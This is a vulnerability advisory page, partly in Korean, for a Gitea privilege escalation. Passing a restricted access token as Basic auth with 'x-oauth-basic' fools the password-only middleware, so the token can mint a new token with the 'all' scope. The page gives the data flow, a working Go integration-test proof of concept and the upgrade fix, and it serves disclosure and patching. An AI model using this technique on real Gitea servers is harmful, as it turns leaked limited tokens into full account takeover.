VDB
EN
HIGH

GHSA-683j-3ff6-hh2x

Gitea: Privilege Escalation via Access Token Scope Escalation in API

빠른 조치

GHSA-683j-3ff6-hh2x — code.gitea.io/gitea: 아래 명령으로 수정 버전으로 올리세요.

go get code.gitea.io/gitea@v1.27.0

상세

Gitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic <token>:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod="basic"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.

### Data flow

#### Step 1 - Token extracted from Basic auth header When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = "access_token"` and `ApiTokenScope` to the token's actual scope (`write:user`):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

#### Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"`

`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `"basic"` — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

#### Step 3 - `IsBasicAuth` is incorrectly set to true

`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `"basic"`. Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

#### Step 4 - The guard is bypassed

`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

#### Step 5 - No scope ceiling in the handler

`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

### Reproducing

`tests/integration/api_token_scope_escalation_test.go` ```go package integration

import ( "net/http" "testing"

auth_model "gitea.dev/models/auth" "gitea.dev/models/unittest" user_model "gitea.dev/models/user" api "gitea.dev/modules/structs" "gitea.dev/tests"

"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" )

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two // interconnected vulnerabilities that together allow full scope escalation: // // 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in // the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth // handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true // even though the credential is a token, not a password. // // 2. CreateAccessToken performs no scope-ceiling check — it never verifies that // the requested scopes are a subset of the caller's token scopes. // // Combined effect: an attacker with a write:user-scoped token can create a new // token with the "all" scope, gaining full access to the account. func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) { defer tests.PrepareTestEnv(t)()

// Non-admin user — escalation is meaningful and not trivially justified. user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

// Step 1 — Obtain a legitimately restricted token via password-based Basic auth. // Only write:user scope is granted; repository, admin, etc. are excluded. restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user, []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser}) defer deleteAPIAccessToken(t, restrictedToken, user)

// Confirm the restricted token is blocked from repository-scoped endpoints. // This establishes the baseline: write:user does not imply read:repository. req := NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(restrictedToken.Token) MakeRequest(t, req, http.StatusForbidden)

// Step 2 — Exploit: supply the restricted token as Basic auth credentials. // Authorization: Basic base64("<token>:x-oauth-basic") // // Basic.Verify() validates the token and returns the user. group.Verify() then // sets AuthedMethod="basic" (the method name). auth.go maps that to // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no // password was provided. CreateAccessToken then creates the token with the // requested "all" scope without checking whether it exceeds the caller's scope. payload := map[string]any{ "name": "poc-escalated", "scopes": []string{"all"}, } req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload) req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed) // but is currently 201, confirming the vulnerability. resp := MakeRequest(t, req, http.StatusCreated)

escalatedToken := DecodeJSON(t, resp, &api.AccessToken{}) require.NotNil(t, escalatedToken) defer deleteAPIAccessToken(t, *escalatedToken, user)

// Step 3 — The escalated token carries the "all" scope. assert.Contains(t, escalatedToken.Scopes, "all", "escalated token scope must be 'all'; original token only had write:user")

// Step 4 — The escalated token can now reach endpoints blocked to the original // token, confirming real privilege gain beyond write:user. req = NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(escalatedToken.Token) MakeRequest(t, req, http.StatusOK) } ```

```bash git clone https://github.com/go-gitea/gitea cd gitea git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/ ```

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

Go / code.gitea.io/gitea
최초 영향 버전: 0 수정 버전: 1.27.0
수정 go get code.gitea.io/gitea@v1.27.0

참고